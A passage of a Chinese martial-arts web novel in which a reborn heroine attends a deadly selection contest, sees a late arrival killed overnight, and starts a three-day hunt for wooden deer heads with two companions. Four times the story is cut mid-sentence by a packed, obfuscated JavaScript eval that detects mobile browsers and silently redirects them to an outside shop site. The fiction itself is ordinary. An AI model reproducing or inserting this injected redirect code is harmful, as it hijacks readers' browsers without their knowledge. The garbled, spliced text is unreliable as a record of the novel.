那掌柜仍是笑脸迎客,将账本一合,问道:“客官这是来吃酒,还是小住?” “我需住一日中等房,身上只有一百文,掌柜的可有空房?”戚研商说出那句“暗语”。 这次掌柜倒是没有打量她,直接走出柜台,抬手为戚研商引路:“有有有,小店小本经营,一百文绰绰有余了,这边请。” 与上次说的一致,看来这句话就是“暗语”的“应答”。 这次入住的客房也与上次不同,位置更靠近楼梯一些,屋内布置倒是相同。 戚研商稍作休息,到了晚饭时刻,小二按时送来了餐食。 戚研商并没有先动筷子,移开菜碟,果真有一块盖板。 掀开盖板,托盘上仍旧放着一块玉符,一张纸条。 那玉符并无不同,纸条上的文字略有不同——戌时三刻,城西破庙,携玉而来,勿带身外之物,自有人接。 为何时间变了? 戚研商微微皱眉,难道上次姗姗来迟,是因为到客栈的时机不对?这次马车让她提前不少到客栈,所以得到的纸条也改变了。 不过这次没有骑马,去破庙赴约也要赶早些。 日已西斜,余晖将尽,戚研商佩好玉符,烧尽纸条,便下了楼。 这次她不需要委托掌柜保管行囊了,那里面本就没有什么,不过她需要掌柜借匹马,客栈作为接洽之地,应该不会拒绝她的要求。 果不其然,掌柜一口便答应了,还笑着说:“客栈的马都认家,饿了自会回来,你也不用担心会走丢了。” 这话暗示实为明显,戚研商不知这是真的在让她宽心,还是笃定了她将会有去无回。 戚研商从客栈的马棚中选了一匹,刚骑上马,拉开缰绳,那马竟撒欢般的向着破庙的方向冲了出去。 —— 这马跑的又快又急,却十分稳当,也不用戚研商指引方向。 到了地方,戚研商放下缰绳,没等她喘口气的时间,马儿又一溜烟跑走了。 看来这匹马曾送过无数个手握玉符之人来此,否则不会对这条路如此熟悉。 那两个黑衣人又驾驭着如风驰电掣般的轻功来了,戚研商已经玉符放在手心,供他们查看。 “你不是第一次参加?”确认玉符无误,黑衣人又放回她的掌心。 戚研商任由布条覆上双眼,缓缓道:“略有耳闻,只是我有一疑问,能够帮忙解答?” “但说无妨,只是不一定答。”黑衣人道,二人用细绳将戚研商的双手捆在扶手上,抬起轿子,点地起飞。 呼啸而过的风吹得她难以开口,戚研商只能微微侧头,道:“这选拔应有许多人参加,为何今日只见我一个。” 黑衣人前行的速度极快,语气却仍旧十分平稳:“那名门世家自有人去接,小门小户只得走旁门左道。姑娘,你也是从哪里买来的消息吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200925|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还能买?”自己的消息是偶然所得,虽不知是何人传递,姑且算作是与母亲有关系的“善人”。可这世家兜售消息,又是为何?不是平白为自己添了对手? “姑娘,算你运气好,正好赶上今夜的接迎会。若是再推迟一些,怕是连门都进不去了。” “你且注意些说……”另一个黑衣人立刻打断道,“莫要泄露机要之事。” 这一打断,戚研商立刻明白为何消息可以肆意兜售,世家入场是必然的,而同她一样,需要通过暗语接洽之人,只能看运气。 上一次便是她运气不好,赶在宴席结束之后才到,甚至一切都还在未知中,便丢了性命。 黑衣人噤了声,无论戚研商再问什么,也只道“不知”。 第二次乘坐这种“飞轿”,戚研商感觉好了很多,或许是因为这次在路上一直在想事,把身体的不适都忘记了。 感到轿身落地,手腕上的细绳被解开,戚研商轻道一声“多谢”,未有人应答,只是左肩处似乎有人拍打了两下,以表小心。 戚研商未做等待,自行摘下了眼前的布条,破旧的宅邸就在眼前,与她记忆中一模一样。 她尝试再去辨认牌匾上的字,仍旧是看不清。 正准备推门而入,这次竟是有人先一步开门,戚研商一惊,向后退了一步。 熟悉的墨衣墨冠,这人正是在此处管事的荀惜维。 戚研商装作懵懂的样子,问道:“请问此处可是十二簪招安的聚集处?” 荀惜维上下打量了她一番,似乎露出些许嫌弃的眼神,不过刹那便收了回去,道:“正是,我乃荀惜维,朝廷派来掌管此事之人,姑娘请进。” “麻烦荀大人了。”戚研商猜测人应是已经齐了,而她属于是意外来客,才使得荀惜维有些不满,至于原因,她现下还无法推测。 戚研商跟在荀惜维后面,走进破败的庭院,她抬头张望两侧老树上摇曳的灯笼,依旧散发着暗淡的光,再向前些,便可听见来自大厅喧闹的人声,两者相映,竟成了一副诡异的景色。 二人进了正厅。 与上次散场之景不同,人竟然多出了数倍,从衣着来看,似乎是分成了两部分。 着华衣锦服的都坐在最前侧,再往前,便是一个小戏台。 而坐在门口的,皆是与她相似,穿着十分普通,应该都是黑衣人口中的“小门小户”。 “可惜,都坐满了,只能麻烦姑娘坐在门口了。”荀惜维说着,在靠近门边的地方拉开椅子,让她坐下。 “无妨。”戚研商微笑道。 荀惜维安排完她,侧身不知绕道哪里去了。 戚研商身边坐着一个彪形大汉,长相有些狰狞,他盯着戚研商看了许久,弄得她心里毛毛的,只好回瞪,问道:“兄台,有何事?” 大汉竟然有些不好意思,连忙说道:“姑娘,我不是故意看你,不对,我是故意看你的,请问敢问姑娘,你也是‘买’进来的吗?” 买?正巧自己还对此事有些好奇。 戚研商挑眉,答道:“确是。” 5. 初来乍到 大汉一听同道中人,立刻挪动椅子凑了过来:“在下童疏田,幸会幸会,姑娘怎么称呼?” “戚研商。”她稍微侧身避开了些。 “有一事问戚姑娘,不知能否告知?”童疏田小声道,“那贩子收了我五十两,说是比别人都要便宜,你花了多少?” 五十两?可眼前这大汉看着过于朴素,不仅蓬头垢面,衣服也处处补丁,哪来这么多钱? 戚研商想了想,说道:“我比你多一些,五十五两。” 童疏田这话的意思,应是觉得不值,估摸着是一身家当去买那小道消息了,她便多报了一些,万一刺激到这人,恐怕会做出些出格的事情。 “哎呀妹子,这贩子可真黑心啊!妹子,等出去了,哥帮你找那贩子算账去!”童疏田嘴上说着好听,可语气中却带着一丝窃喜。 这才聊了两句,就把心里话放在脸上了,任谁都看得出那点小心思,五十两算是白花了,戚研商默默为他感到可惜。 但她还是装作可怜样,好像真的花了不菲的银子,嘴上轻声应和道:“唉是呀,家里为了我,把铺子都抵了出去,才凑到的钱。” 童疏田藏在胡须下的嘴角,都按耐不住地上扬了,有人花的更多,他是确实占到了便宜,叹气道:“妹子,你这可太亏了,那铺子一年得赚多少钱啊!我只是把家里祖宅卖了,放那也没用,等我进了十二簪,就在京师买个大宅子,到时候,请姑娘来吃乔迁宴。” 没想到为了进十二簪,这人竟然能做出出售祖宅的事情来,看来这个组织的利益关系,远比她想象中多。 并非戚研商小瞧人家,只是眼前这个直白的大汉,什么都藏不住,落选也是必然的。 “那就,先祝贺童大哥了。”戚研商直接吹捧一番。 童疏田哈哈大笑,正准备打算再说些什么,被戏台上的荀惜维打断了。 “各位来自五湖四海的江湖侠士,”荀惜维在台上作揖行礼,“本次十二簪选拔由我掌管,仅代表锦衣卫向大家表示欢迎。” 原本有些喧闹的正厅瞬间安静了下来,纷纷看向台上。 荀惜维站在戏台正中间,在原本的锦衣外,套了件镶着金色缝线的薄纱外衣,头上换成了顶镶嵌着的瓜青色翡翠的发冠,手持一把黑金色折扇,微微摇晃着,看着便是位翩翩君子,却与戚研商刚进门时,露出嫌弃眼神的他尤为不同。 荀惜维语毕,处于后方的“小门小派”们立刻鼓起了掌,而前方的“名门贵族”却岿然不动,仿佛置身事外。 当然,以那些世家的地位,只是一个朝廷派来的人确实算不上什么。 一旁童疏田的动作幅度极大,胳膊肘不断碰到戚研商身上,惹得她只好蹙眉,又向旁边挪了挪。 荀惜维却不在意这些,他接着道:“在场的各位有名门世家的贵公子,也有隐匿江湖的世外高人,但本次选拔主打一个公平,无论是什么身份,皆为一视同仁。” 这小小的迎接会已经泾渭分明,说是一视同仁是否过于可笑,戚研商暗自腹诽道。 “我来说明一下此次选拔的规则,大致分为五关比试,前三关初试,乃为寻物,后两关决赛,乃为寻踪。 “寻物,便是寻找物品,将会将侠士们带到专门布置好的场地,物品有限,找到物品,乃为胜利,这三关都在不同地方,难度递增。 “寻踪,便是寻找线索,线索需要拼凑,推理出正确答案,乃为胜利。不过线索同样有限,要么拼凑完整,要么自行推理,难度也为递增。 “当然,每关细则皆有不同,这个到时候再详细讲解。” 荀惜维将规则一一道来。 比试竟有五关之多,戚研商抬头默算了一下厅内的人,坐的满满当当,约有五六十人,物品与线索有限,最后也只能剩下几人了。 可是单纯的寻物与推理,是否过于容易,这作为十二簪选拔也太草率了些。 没等戚研商细想,忽有一人提问:“荀大人,若是两人同找到一物,算什么呢?” 此时荀惜维露出了一个神秘莫测的微笑,道:“狭路相逢,勇者胜。” 此话一出,对于比试规则的违和感瞬间荡然无存,这怎么会是简单的找物游戏,在场之人虽然能力各有高下,可都身怀武功,并非市井之人。 那么比试中必然会因为抢夺物品大打出手,甚至要人性命…… 戚研商想起那突然钻入房中,将自己一刀毙命之人,必然也是遵守这一条规则,先下手为强。 只是不知为何选的是自己,或许是因为她来的太晚,形单影只,并且对规则一无所知,未设防备,才先下手将自己杀害。 戚研商攥紧了掌心,这次情况虽与上次不同,但她无法得知今晚是否还会遇刺,那人武功不凡,即使她心有防备,也不一定能打得过。 “今夜是为各位接风洗尘,比试的事情明日再说,就不扫兴了。今日特地请来了御膳房的厨子,准备了丰盛的晚宴,希望各位侠士吃的开心。”荀惜维未给他人提问的机会,直接将换题转移到晚餐上。 说罢,他下了戏台,又不知走到何处去了。 桌上被放上一道道色泽鲜艳,香气四溢的菜,令人食指大动,戚研商却没什么胃口。 童疏田看的两眼放光,那菜一上桌,便有一半进了他的碗里。其他人看着他粗壮的体格,也没好意思说什么。 一块鸡腿突然被夹进戚研商碗里,只见童疏田一遍大快朵颐,一边道:“这都是皇帝吃的东西,你快尝尝呀,说不好一辈子也就一次。哦对了,以后我为朝廷办事,肯定还能吃着,妹子,你多吃点。” 说着,又夹了一些菜给她。 戚研商勉强笑着接受,她有些佩服童疏田的乐观,回想刚才的那一句“勇者胜”,这大餐确实一辈子只有一次,可以称为断头饭。 快用完餐时,荀惜维又折返回来,身后跟着好几个小厮。 “现在给大家分房间,等会会由他们带你们去自己的房间。”荀惜维道。 那几个人手里拿了一串钥匙,分开将钥匙交由到他们手里。 戚研商接过钥匙,发现与上次不同,钥匙上多挂了一个小木牌,与她上次在房间里看到的木牌一一样,可上面的写着的是“贰拾柒”。 竟然是上次隔壁的一间房!戚研商不禁沁出一身冷汗,难道她还要再经历一次吗。 转念一想,如果那人必然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200926|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入是是“贰拾柒”,是不是自己又安全了?她无从得知。 先行回房的是那些世家,轮到戚研商时,大厅内已是寥寥无几了,连童疏田都先走了,还顺走了其他桌上剩下的鸡腿。 在剩余的人里,戚研商突然看见了林霁荷。 这么多人中,她只认识林霁荷,此人还曾经帮助过她,戚研商顿时觉着她好似在浩瀚碧波间,偶得的那一叶扁舟。 正愁怎么主动搭话,林霁荷先走过来了。 “姑娘你好,能否搭个伴?外面太黑,我有些害怕。对了,我是‘贰拾’,你呢?”林霁荷热情地站在她身边问。 “当然可以,我是‘贰拾柒’,顺路吗?”戚研商欣然道。 “那太好了!”林霁荷挽住了她的胳膊,“我们住的很近呢,我来自陀城林家,林霁荷,你呢?” “戚氏武馆,戚研商。”戚研商答道,等着对方问她师从何派。 不过林霁荷并没有这么问,只是说:“武馆?你是教学的师父吗?以后能否指教我一二?我师父总嫌弃我学的不够到位。” 戚研商还没来得及开口,林霁荷接着说:“哎呀我没反应过来,戚氏武馆,你也姓戚,原来是掌柜的,好厉害呀,年纪轻轻就有了自己的武馆。” 戚研商被说的有些不好意思,此时引路的小厮走了过来,道:“两位姑娘,天色已晚,早些休息吧,明日再聊。” 林霁荷被了打断,兴致缺缺,撅着嘴巴道:“行吧,你领路。” 说罢挽着戚研商跟在那小厮的后面。 小厮推开门,突然有一人进来,脸上带着茫然地表情,扯住了小厮的袖子,问道:“请问,十二簪比试,是否在此聚合?” 未等小厮回答,林霁荷先行上前说道:“是呀,不过你来晚了,我们都结束了。” 这场景似曾相识,上次来晚的,是自己。为何这次她赶上了,又出现一个迟到的人? 那人神色有些紧张:“那怎么办?” 林霁荷转头问小厮:“你这还有钥匙吗,人都到了,总不能撇下他吧。” 小厮摸了摸口袋,翻出了一把钥匙,上面没有挂任何东西,说道:“那你先跟着我吧,这钥匙给你,最后一间房了。” 戚研商看着那人接过钥匙,瞬间明白了过来。 这次林霁荷并没有跟着戚研商,先进了屋子。 在前往房间的路上,三人一直沉默着,戚研商忍不住,突然开口:“夜深人静,你晚上要小心着些。” “为何?”那人问。 戚研商也不知如何解释,只是说:“毕竟初来乍到,小心防范总是好的。” 进了房间后,戚研商发现屋内设施与上次并无不同,她清洗好,躺在床上,却不敢睡着。 戚研商总觉得应该提醒地更为明显一些,若是一会听见异响,她打算立刻出门帮忙。 只是这一夜极为安静,似乎一切都没有发生,戚研商在迷迷糊糊中睡着了。 而次日,戚研商却是伴随着一声尖叫惊醒的。 隔壁的房间外站满了人。 那人还是没能活过昨夜。 只是他的身上并无伤口,应是窒息而亡。 6. 不寒而栗 竟然毫无伤口? 戚研商待人群散后,去隔壁房间里仔细勘查,暂时还未有人来得及清理此处,屋内并无打斗痕迹,也没有溅射的血迹。 昨夜她没有听见一丝声响,究竟是如何让他在睡梦中离去的。 最后在窗棂上找到了答案,那人应是已经稍作擦除,可是窗上复杂的纹路加上屋外灯火昏暗,很难完全清理,缝隙中残留着一些白色粉末,戚研商轻捻一些观察,这可能就是迷魂散。 为何此次那人未带武器? 戚研商又想起那尖刀插入胸膛的剧烈疼痛,猛然间,她发现了一个问题。 犹记那张引领她前往破庙的纸条上,明确写了不可携带任何东西,当时她还庆幸自己学的是拳脚功夫。 看来处在“贰拾捌”号的人难逃一死,可是那夜杀害她的人,与昨夜的行凶者是一人吗? 戚研商无法断定。 尽管第一夜就死了人,然而无人关心死者是谁,连戚研商都没有过问他的名字,众人只是看个热闹,毕竟此人姗姗来迟,大部分人见他的第一面,就已然是尸首了。 眼下更重要的是第一场比试即将开始了。 白日的庭院失去了昏暗烛光的修饰,坦然暴露在阳光之下,虽然仍旧破败不堪,可也没有那么阴森可怖了。 庭院中的众人换上了统一提供的青绿色长衫,系上同色发带,正如荀惜维所说,来此处者,一视同仁,在一片素色中,识不出何为高贵,何为低贱。 荀惜维换了一袭白衣,站在正厅门口,昨夜送他们进屋的小厮,则站在他的身边。 “各位,此处只为了休息所设,比试还需移步他地。当然,也不必自行走去,我们配备了马车。”荀惜维吩咐小厮开门。 戚研商随着众人回头去看,只见府邸外有好几辆马车,每辆马车由三匹马牵着,后面拉着的是一个巨大的车厢,约莫能坐下十几人。 正当戚研商还在观察那马车时,一位小厮走了过来,递给她一块黑色布条。 是她来时路上,黑衣人给她蒙上的那种布条。 只是这种待遇只有他们“小门小派”才有,那些专人接来的“名门世家”,却是没有见过的,故露出了疑惑的神情,有人问道:“荀大人,这是何意?” 荀惜维走到门口,手中同样拿着一块黑色布条,他示意似的将布条举在自己面前,说道:“当然是蒙面所用,考虑到用粗布虽结实,但实在粗糙,这次用的都是上等绸缎,各位放心吧。” 戚研商摸了摸,确实要比之前的布细腻不少。 “比试场地,乃是皇家禁地,万万不可泄密,只能辛苦各位,一路蒙面而行。考虑到各位身份尊贵,就不让小厮代行了,自行佩戴即是。”说着,荀惜维将布条蒙在了眼睛上,伸手拍了拍一旁的小厮,那小厮轻微点头,突然将腰间佩剑拔出,使得前排之人立即倒退一步。 “希望各位自觉,不要在途中解下蒙面,否则血溅当场,也是无人想看的。”荀惜维道。 “你……你这是威胁?”有人大声问道。 “威胁?”荀惜维又抬手又解下布条,眼神扫射四周,似乎在找事何人开口,“不要忘了,再尊贵的世家,也在朝廷之下。” 戚研商细细思索荀惜维的言下之意,她刚才发现那马车本身就没设计窗户,入口是黑色的幕布,即使不蒙面,乘坐时也无法看到外面的景色,更何况现处荒郊野外,认路更是艰难。 那么为何多此一举,给众人一个下马威? 她还没想出原因,忽然感到手被牵住,触感冰凉,戚研商看去,是林霁荷。 林霁荷凑到戚研商耳边,轻声说:“我怀疑,昨夜荀惜维被威胁了,今日才这样做戏。” “为什么要威胁他?”戚研商不解。 “听说有几个世家,事先打点好了,给他们安排上等住处,可如今大家住的一样,穿的一样,难免心里不平衡。”林霁荷道。 就因为这个?戚研商更不理解了。 荀惜维见无人再言,便让小厮收起佩剑,又恭恭敬敬地伸出一只手,微笑着道:“既然没有问题,各位请吧,上车前,请将眼睛蒙上。” 林霁荷牵着戚研商上了同一辆马车,车内空间挺大,可坐着的地方却很小,于是戚研商只能被夹在中间,和两侧的人紧紧挨在一起。 如此拥挤,也抽不出手来解开眼前的布条。 若是真的去解,也会立刻被周围人发现,下场可想而知。 戚研商顿时明白了蒙面的意义,只要有一人蠢蠢欲动,在此触发禁令,那身边人必然会积极举报,从而减少一个竞争者。 皇家禁地是规则的表面,也是诱发好奇的因,而引得相互监督,相互忌惮才是想要的结果。 —— 路上无人说话,只感觉马车跑的飞快,压在路途石子上上下颠簸着。 厢内空间密闭闷热,又拥挤得慌,什么也看不见,再紧绷的神经也要松懈了去,戚研商挨着林霁荷的肩膀睡着了。 醒来已到了下车之时。 这里似乎是狩猎围场,眼前的砖红色围墙砌得极高,向两边望去,看不到尽头。 荀惜维手里拿了个什么物件,从马车下来,站到众人眼前。 他高举起那个物件,戚研商才看清,那是个鹿头造型的木雕。 “这场比试为寻物,找的,就是这个木雕鹿头,”荀惜维将木雕递给小厮,“现在传递一下木雕,大家仔细观察。” 到了手里,戚研商左右查看,这只鹿是闭着眼睛的,左边的鹿角缺了一块。 她在手中转了好几圈,直到记住了所有特征,才传给了下一个人。 不过其他人看的没有那么仔细,有些人只是撇了一眼,便扔给其他人。 等到看完,荀惜维才开口:“我们一共有六十人,场中的木雕鹿头有五十个,还有二十个是假的。不知道你们有没有仔细观察呢?” 此话一出,立刻引起喧闹,他们走上前去,就要抢走荀惜维手中的木雕,荀惜维手疾眼快,扔给了远处的小厮,那小厮接过木雕,立刻驾驭轻功飞走了。 “你怎么不早说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200927|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荀惜维哈哈一笑,道:“早就让你们仔细观察了,这也不能怪我。” 林霁荷凑过头来,俯在戚研商的耳边,轻轻道:“你放心,我记性好,把细节都给记住了。” 这话说的没错,戚研商想起第一次见面,林霁荷与她一起去房间,当时似乎对路十分熟悉。 昨夜她们是跟着小厮走的,林霁荷表现得和她同样,是第一次过去,不知上次为何她能将路牢记于心,难道她是先回了房间,再折返回到大厅,之后才碰上戚研商的? 不过戚研商已经重生了,她无法去问林霁荷识路的原因。 此时众人再有不满,也无济于事了。 荀惜维拒绝给他们观察木雕的第二次机会。 不过他却给出了一个线索:“既然你们这么想看真的,那我就报出藏有其中三个真木雕的地方吧,分别是西北大树下,东边芦苇间,西南佛像旁。先到先得,各凭本事。” 看似简单的规则,戚研商已预料到入场后,将是腥风血雨。 原本六十个人,找五十个木雕,能够找到的胜率很大,可是其中混有假的,没有记住特征的人无法分辨真假,他们只有两种方法,一是多收集木雕,能够确保其中至少有一个真的,或者按照提示,去找已知的真木雕。 无论是哪种,都会损害到他人利益,从而大打出手。 此时一个巨大的身影遮了过来,有个熟悉的声音说道:“大妹子,你在这里啊,那个木雕长啥样我都记住了,咱们结个伴呗?保证给你找一个。” “谁要和你结伴啊?”林霁荷抢先答道。 戚研商抬头,原来是童疏田,差点把这人忘了。 “可以啊。”戚研商欣然答应。 虽然不知道童疏田有没有坏心,可是他的心眼子也就那么大,想必坏不到哪里去。 这第一场比试并不难,戚研商已经记住木雕的细节,只要找到后保命即可,也不用参与那些人的争斗,多个队友也不错,倘若真的有人来抢,也多个人打架。 林霁荷不是很满意,虽然童疏田换上了同样的青绿色长衫,可看着还是挺邋遢的,她钻到戚研商身后,道:“好吧,那就凑合一起吧。” 随着荀惜维来到大门前,他向众人鞠了一躬,抱拳道:“此处进去之后,便是比试开始了,限时三天,里面有食物需要自行找寻。三天后大门开启,我将会在此迎接,手握木雕鹿头的人为胜,手握假木雕的,或者未找寻到的,或者到时未能出来的,判输。” “什么,不是找到了就能出来?”童疏田惊讶道,但他没敢大声说。 林霁荷同样惊讶:“不就是个选拔,有必要这样吗?这三天除了要守护木雕外,还要找寻吃的。” 荀惜维似乎看穿了他们,安慰道:“放心,食物还是比较充裕的,还有,来时让大家不要携带物品,对一些侠士来说非常不方便,所以你们需要的趁手兵器,也与食物放在一起了。” 戚研商皱眉,十二簪选拔,竟是让参与者自相残杀,即使她早已嗅到本质,可在荀惜维口中道出,还是令她不寒而栗。 7. 名门公子 朱红色的大门缓缓开启,荀惜维领着众人进入围猎场。 入眼是一片郁郁葱葱的树林,交错斑驳的树影投在草地上,空气中弥漫着浓厚而又潮湿的泥土气息。 戚研商瞥见一只小兔子因为他们的入侵而受惊,逃进了深处的绿荫中。 “侠士们,比试已经正式开始,祝各位好运,我们五日后相见。”荀惜维拱手作揖,随后带着小厮们一起走出去,那木门从外缓缓地合上。 唯一的出口即将关闭,望不见尽头的高墙拔地而起,戚研商瞬时感到自己仿佛置身于一所巨大的监狱之中。 戚研商死死盯着荀惜维离开的方向,只见那门缝露出的外面世界越来越小,直到消失,可以听见门外落锁的清脆声音。 随后,场内的众人犹如鸟兽般迅速散开,戚研商没反应过来,还在思索第一步要做什么。 童疏田的力气极大,他的双手分别扯住戚研商与林霁荷的领口,向一个无人的方向跑去。 戚研商差点被拽得就要摔倒,她迅速调整了身姿,跟上了童疏田步伐,另一边的林霁荷也稳健的同步跟上。 三人狂奔许久,终于来到一个僻静之处,周围看不到其他人,才停了下来。 戚研商累得气喘吁吁,而林霁荷直接瘫倒在了地上。 “你要跑,不知道提前说一声吗,我差点没跟上,都要被你拖着走了!”林霁荷喘着气,抱怨道。 童疏田也跑的满脸通红,杂乱的头发紧紧粘着鬓角,他扶着树道:“你们速度太慢,别人都跑出好几里了,没看到后面有人在打架吗?再慢一点就要被卷进去了!” “多谢,刚才确实是最忽于防范之时,恐怕刚开始就已经淘汰几人了。”戚研商回想起当时确实有打斗之声,只是自己将内力全部用于跟上童疏田,忽略了那一丝不和谐。 “多亏你们两个小丫头碰上了我,要是别人才不会带着你们走呢。”童疏田沾沾自喜起来。 戚研商没想到这童疏田竟然十分靠谱,之前是太过小瞧他了。 “大哥,你别挨着了,这树好像要倒了。”林霁荷抬手指向童疏田扶着的那棵树。 戚研商看去,那棵树极高,枝繁叶茂,却不如童疏田的腰粗,在他的挤压下,已经向着一边倾斜,好像真的要倒了。 童疏田却不相信,他哼了一声,道:“怎么可能,这皇家猎场都是种的百年老树,看着细,实际根扎的老深了,怎么可能轻易就倒了。” 说着还故意撞击了两下,那树又猛烈地晃了晃,童疏田直接背靠在树上,双手抱臂说:“你看,没事吧,晃了,不代表要倒了。” “是真的要倒了,”戚研商伸手捞起坐在地上的林霁荷,两人向后退了一步,“童大哥,你看树根那块地方,泥土已经裂开了,这棵树是后栽的。” 童疏田毫不在意的瞄了一眼,那块土地确实有龟裂的表象,他吓了一跳,立刻跳开,甚至比戚研商二人走的还要远:“这是陷阱吧!! ” 那棵树没有随着童疏田的离开而恢复正常,仍旧向着一个方向倾斜而去,土地裂开的缝隙越来越大,已经可以很清晰的看到土地之下盘根错节的树根。 这棵树确实是才栽的。 轰—— 随着一声巨响,浮于表面的树根终于支撑不住整棵树的重量,倒在了地上,溅出的泥土落在三人的衣角上,地上留下了一个大坑。 戚研商警觉地四处张望,希望这声巨响没有引来其他的人。 林霁荷低头皱着眉清理着衣角的污渍,童疏田已经走向那树坑,他看见坑里似乎有什么。 “慢着!”戚研商制止了他。 “怎么了?我看这里面好像有东西。”童疏田不解。 戚研商走近倒下的树旁,微闭双眸,略微运气,周身仿佛有股不易察觉的气流轻轻涌动,将内力汇聚于双掌之间,随即将手掌向前挥出,那树竟随着掌风被向前推动,距离原先的坑洞数尺之遥。 “刚倒下的树坑不能站人。”戚研商道。 现在安全了,她走近树坑旁,向下看去,正如童疏田所言,里面确实藏着东西。 不过那东西并不是要找的木雕鹿头,而是一把弓箭,弓把处被皮布包裹着,旁边甚至还放了一袋木箭。 “这就是给我们准备的兵器?你们会用弓箭吗?”林霁荷放弃清理衣角,走过来看了一眼坑里的弓箭,问道。 童疏田直接跳进了坑里,将弓箭拿了出来,揭开皮布,弓把是由上等紫杉木制成,色泽油亮,弓弦紧绷,他像模像样把弄了一会,道:“我不会。” “你不会干嘛看半天?戚姑娘呢?”林霁荷翻了个白眼,转头问戚研商。 “我也不会。”戚研商答道,她拿过弓箭,仔仔细细查看了一番,工艺精湛,是一把上等的好弓,“不过不要紧,这把弓应该是特地为某人而留,现在被我们发现了,他就没有了。就算还有其他的弓,都不会有这一把顺手。” “那是不是说明,我们的武器也会被别人拿走?”林霁荷有些担心。 戚研商点点头,道:“确实如此,眼下要做的事情,便是考虑在没有兵器的情况下,如何自保。” 只是戚研商不用担心这一点,她不需要有兵器。 戚研商拔出一支箭,拉开弓,眯起眼睛,拉满弓弦,再一松手,只听咻的一声,木箭立刻飞了出去,扎在了不远处的一棵大树上,那树要粗壮的多。 “你不是说不会吗?”童疏田看着远处正中中心的箭支,问道。 戚研商将弓箭背在身后,道:“当做武器杀人,我确实不会。打猎的话,还是可以的。” 母亲身为幽谷门的掌门,虽对她怜爱有加,可是也常年在外,很少与她相处。 幼时的戚研商没有什么娱乐活动,不是跟着门派中的弟子练习拳法,就是去后山上打猎玩,这弓箭便是她自学的。 “厉害呀,小商。”林霁荷亲昵地靠过来,一把搂住戚研商的脖子,戚研商没站稳,身体向后晃了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200928|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在此时,一支箭与戚研商的胸口错身而过,直直的落在后方的草地上,正是刚才戚研商射出去的那支。 —— 三人立即下蹲,迅速躲到一旁的草丛中去。 怎么会有人?他们竟然都没发现。 戚研商稍微露头,未见到任何人,周遭如刚才一般安静,没有一丝异常。 而那人也未继续攻击他们。 可能此人只是反击,并非恶意,戚研商分析着,随即她开口说:“何人?方才我只是试一下弓箭,并非故意伤人,你回击一次,就算扯平。” 仍旧是一片寂静。 “既然我们都非暴戾之徒,能否现身,友好相谈?”戚研商继续道。 林霁荷轻轻戳了一下戚研商,小声道:“你这样说,人家能愿意吗?” 话音刚落,便听到一个清脆的声音,好像是个少年,答道:“好吧,你们答应,不能抢我的东西。” “那当然。”戚研商起身,果然看到一个穿着同样长衫的少年站在眼前,只是他的衣服要干净不少,年纪看起来并不大,眉目中还带着一丝孩子的稚气。 少年的手中拿着简易的弓箭,由树枝和藤条组成,或许是刚才那一箭太用力,树枝上端裂开了一些,若再使用一次,肯定得断了。 “雷承璟?”林霁荷跟着站起来,见到少年的面孔,惊讶道。 “你认识我?”雷承璟打量了一番眼前的两位女子,并无任何印象。 林霁荷嘿嘿一笑:“雷家小公子,谁不认识啊?” 戚研商想了想,还真没什么印象,林家的事在江湖有所传闻,她才知晓,而雷家公子,听起来像是名门世家,她确实不太了解。 雷承璟听到这句戏谑的话,只是转过头去,眉头微皱,思索片刻,继而又转了回来,对戚研商问道:“看你刚才射出的箭,力度有限,角度偏离,不像是常用兵器,能否把弓给我?” “那可不行。”童疏田从草丛中钻了出来,“万一你拿走了,回头害我们怎么办。” 雷承璟摇摇头,他从背后解下一个包裹,打开来看,里面竟然是个鹿头? 距离比试开始还没有多久,这个少年竟然这么快就找到了? 雷承璟将鹿头取出,对戚研商说:“我用这个与你交换,如何?” “不行,”戚研商撇了一眼鹿头,回答道,“既然你想要弓箭,那就留下来跟我们一起,还有,你的木雕是假的。” 雷承璟惊讶地重新观察了一番鹿头,没发现与真的有何区别,问:“哪里是假的了?” 